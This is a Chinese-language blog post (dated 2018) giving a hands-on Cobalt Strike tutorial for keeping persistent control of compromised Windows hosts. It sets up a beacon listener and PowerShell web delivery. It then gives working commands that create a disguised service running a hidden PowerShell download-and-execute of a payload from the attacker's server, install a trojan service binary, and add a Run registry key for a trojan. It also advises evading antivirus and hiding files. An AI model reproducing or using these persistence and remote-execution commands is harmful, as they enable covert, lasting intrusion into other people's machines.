Cobalt Strike实战技巧持久性权限控制姿势
作者:admin | 时间:2018-1-5 15:06:22 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前言
想写这篇文章已经有一段时间了,接触Cobalt Strike的时间并不是很长,一个朋友曾开玩笑的说道Cobalt Strike“是灰鸽子的旗舰版”,CS已经成为我们在做后渗透、权限维持以及内网渗透中,少不了的利器,FreeBuf已有前辈发过几篇很棒的文章,让我们从文章中收获不少的知识点,介绍就不再多说了。 第一次发, 文章难免有错误的地方请大佬们多多指点。
我使用的是Cobalt Strike3.6相信有不少玩Cobalt Strike安装完成后都会遇到过的两个问题
服务器端连接:./teamserver ip 密码
一个是teamserver脚本的问题,这里要到teamserver脚本中删除一些字符串否则启动会报错,(多谢大佬提醒),把-XX:AggressivHeap -XX:UseParallelGc删除。
在服务器中CS已经启动成功了,客户端连接提示超时,之前设置的监听端口忽略。
这时我们还需要关闭服务器Linux防火墙不然客户端连接不上的。 Linux执行: service iptables stop
50050是默认端口,可以在浏览器中检测到是否能访问
在客户端输入对应的信息就连接上了CS,”User”是可以自己随便填写用户的。
登入成功后的界面:
下面也简单的说下创建监听和Scripted web_Delivery这块
然后在创建一个监听 “从Cobalt Strike菜单栏”->Listeners
填写以下信息即可:Payload中的windows/beacon_http/reverse_http:有效载荷
单击保存。默认会使用服务器的IP地址或者填入任何解析的域名:
点击确定之后就会开始监听1900端口
还需要在设置下Powershell Scripted web_Delivery类似于msf的web_delivery
填写所需参数默认端口是80,这里我用19001端口,Type这块一般都用powershell,根据需要可以自己选择。
创建成功会弹出以下一个窗口里面包含powershell远程下载执行命令
顺便也看看web_Delivery生成的powershell的木马,通过powershell来执行某些指令通过Base64方式进行加密
依次点击Attacks ->Web Drive-by->Manage对之前创建的web服务进行管理
复制URL
在目标机器上执行
这时已经能控制目标主机了
当目标机器重启电脑后Cobalt Strike就会失去对目标主机的控制权限,这时我们该如何持久的控制对方主机。
在我刚接触msf这块的时候印象最深刻的就是windows xp系统使用metasploit留的MetSVC和Persistence这两个持久性后门控制,那么使用Cobalt Strike如何持久控制目标主机权限的呢。
正文
设置powershell脚本开机自启动后门。
使用SC命令创建windows服务名最好伪装下,binpath= 这里一定要注意有个空格不然创建不成功把powershell远程执行下载命令也包含进去地址:”http://192.168.1.82:19001/a“链接就是我们刚刚生成的木马地址
sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.82:19001/a'))\""
这时目标就会有个刚创建个为”name”的服务,可执行文件的路径都在刚刚命令执行过程中指定到的里面
SC config “name” start= auto 我们需要把这个name服务设置为自动。
Sc description “name” “description” 设置服务的描述字符串
net start “name” 启动服务
SC delete “name” 删除这个服务,不想使用服务直接删除
反向连接这时我们重新拿到一个shell,已服务运行的权限运行可以看到是SYSTEM
重启下目标主机试试,现在两个会话已经失去了连接。
通过powershell留开机自启动服务,当目标主机重启电脑之后,不断向攻击机器发送请求数据包,重新拿到控制权限
下面两种方法就比较常见的留自启动后门
service
生成service的exe程序放到目标机器
这里选择windows Service EXE
这里我为了方便就直接拖到虚拟机里面了
当然在实战过程中点击Explore->File Browser同样的也可以上传文件
同样的
先创建一个服务名称后面跟着木马上传的路径,这里如果要保证”windows Service EXE程序不被杀毒软件拦截,最好做下免杀,在放到更加隐蔽的目录
sc create "server power" binpath= "C:\Users\Administrator\Desktop\artifact.exe"
sc description "server power" "description" 设置服务的描述字符串
sc config "server power" start= auto 设置这个服务为自动启动
net start "server power" 启动服务
启动服务之后CS重新拿到一个反向连接shell会话
重启目标机器,也能拿到控制权限。
regedit
生成一个exe木马程序
设置开机启动项,往注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加木马程序路径
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Users\Administrator\Desktop\artifact1.exe" /f
当系统注销,再次进入登入到目标系统就会上线,权限是继承的。
总结
结尾也在唠叨下关于留自启动后门方法很多,大多数都添加到服务,加注册表 加启动项,文章中也只是使用Cobalt Strike本身自带的攻击模块去实现留自启动的操作,如果团体服务器重启了,Cobalt Strike还想再次连上控制目标机器,客户端需要重新设置和之前一样的操作,Listeners以及Scriptad Web Delivery端口等必须设置的和之前一致,这样被控制的机器再次发包请求服务器时才能重新获取控制权限。
*本文原创作者:FK_T